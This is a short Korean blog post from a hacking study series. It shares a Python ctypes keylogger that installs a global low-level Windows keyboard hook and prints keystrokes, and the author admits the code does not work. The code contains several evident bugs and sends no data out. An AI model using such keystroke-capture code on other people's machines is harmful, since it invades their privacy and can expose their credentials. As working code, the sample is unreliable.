728x90
키보드 후킹하는 코드를 작성했는데
setwindowshookex()함수에서 에러가 발생하는듯 하다
원인은 모르겠지만
안돌아가는걸 그냥 버리자니 아깝고 업로드
# -*- coding: utf-8 -*-
import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD
# windll로 user32.dll, kernel32.dll을 가져옴
user32 = windll.user32
kernel32 = windll.kernel32
# 사용되는 변수
WH_KEYBOARD_LL=13
WM_KEYDOWN=0x0100
CTRL_CODE = 162
#class definition
class KeyLogger:
def __init__(self):
self.lUser32 = user32
self.hooked = None
#훅 설정 정의. 모니터링 이벤트는 WH_KEYBOARD_LL, 범위는 전역
def installHookProc(self, pointer):
# 훅타입, 훅프로시저, dll 핸들, 후킹할 스레드 아이디(전역 -> 0)
self.hooked = self.lUser32.SetWindowsHookExA(
WH_KEYBOARD_LL,
pointer,
kernel32.GetModuleHandleW(None),
0
)
print self.hooked
if not self.hooked:
return False
return True
# release hook resource
def uninstallHookProc(self):
if self.hooked is None:
return
self.lUser32.UnhookWindowsHookEx(self.hooked)
self.hooked = None
# setwindowshookexa() 함수에서 필요한 프로시저 인자와 타입 지정. 함수 포인터
def getFPTR(fn):
CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
return CMPFUNC(fn)
#메시지 종류가 WM_KEYDOWN이면 화면에 출력. CTRL이면 훅 제거
# wParam : virtual key code, lparam : extral info
def hookProc(nCode, wParam, lParam):
if wParam is not WM_KEYDOWN:
return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)
hookedKey = chr(lParam[0])
print hookedKey
if (CTRL_CODE == int(lParam[0])):
print "Ctrl pressed. call uninstallHook()"
KeyLogger.uninstallHookProc()
sys.exit(-1)
return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)
# GetMessageA()함수로 큐 모니터링. 메시지오면 훅 체인으로 전달
def startKeyLog():
msg = MSG()
user32.GetMessageA(byref(msg), 0, 0, 0)
#키로거 생성
KeyLogger = KeyLogger()
#훅 프로시저 함수포인터 획득
pointer = getFPTR(hookProc)
#키로거로 훅 프로세서 생성
if KeyLogger.installHookProc(pointer):
print "installed keyLogger"
startKeyLog()
300x250
'컴퓨터과학 > 통신, 보안' 카테고리의 다른 글
네트워크 기초 복습 (0) | 2021.03.05 |
---|---|
해킹 - 7. 이미지 해킹 (0) | 2020.07.30 |
해킹 - 5. 후킹 (0) | 2020.07.29 |
해킹 - 4. 윈도우 어플 해킹 개요 (0) | 2020.07.29 |
해킹 - 3. 관련 용어 (0) | 2020.07.28 |